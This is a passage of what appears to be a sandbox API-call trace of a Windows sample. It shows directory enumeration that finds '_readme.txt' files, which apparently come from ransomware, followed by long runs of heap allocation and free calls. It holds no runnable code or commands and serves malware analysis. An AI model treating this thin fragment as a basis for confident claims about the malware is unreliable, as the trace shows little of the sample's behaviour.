ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb324c2f0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb324c2f0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.462] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.462] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb324c2f0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb324c2f0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.462] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0066.462] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb324c2f0, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb324c2f0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb324c2f0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0066.462] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb324c2f0, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb324c2f0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb324c2f0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0066.462] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.462] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.462] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32602f8 | out: hHeap=0x5d0000) returned 1 [0066.462] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x32602f8 [0066.462] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.462] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.462] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.462] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.462] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.463] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.463] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.463] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.463] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.463] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.463] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.463] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.463] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.463] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.463] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.463] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.463] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.463] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.463] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.463] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.463] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.463] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.463] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.463] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.463] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.463] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.463] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.463] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.463] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.463] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.463] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.463] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.463] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.463] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.463] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.463] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.463] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.463] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.464] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.464] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.464] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.464] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.464] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.464] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.464] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.464] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.464] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.464] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.464] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.464] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.464] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.464] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.464] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.464] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.464] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.464] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.464] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.464] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.464] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.464] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.464] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.464] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.464] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.464] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.464] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.464] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.464] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.464] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.464] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.464] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.464] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.464] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.465] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.465] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.465] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.465] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.465] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.465] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.465] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.465] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.465] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.465] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.465] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.465] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.465] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.465] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.465] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.465] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.465] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.465] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.465] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.465] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.465] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.465] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.465] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.465] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.465] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.465] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.465] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.465] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.465] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.465] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.465] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.465] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.465] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.466] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.466] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.466] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.466] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.466] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.466] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.466] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.466] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.466] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.466] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.466] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.466] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.466] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.466] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.466] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.466] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.466] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.466] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.466] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.466] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.466] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.466] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.466] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.466] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.466] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.466] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.466] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.466] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.466] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.466] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.466] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.466] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.466] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.466] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.467] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.467] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.467] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.467] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.467] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.467] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.467] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.467] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.467] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.467] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.467] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.467] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.467] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.467] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.467] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.467] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.467] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.467] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.467] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.467] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.467] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.467] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.467] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.467] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.467] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.467] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.467] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.467] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.467] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.467] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.467] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.467] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.467] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.467] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.468] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.468] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.468] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.468] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.468] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.468] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.468] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.468] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.468] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.468] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.468] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.468] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.468] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.468] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.468] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.468] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.468] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.468] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.468] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.468] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.468] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.468] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.468] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.468] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.468] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.468] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.468] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.468] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.468] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.468] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.468] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.468] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.468] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.469] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.469] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.469] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.469] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.469] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.469] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.469] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.469] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 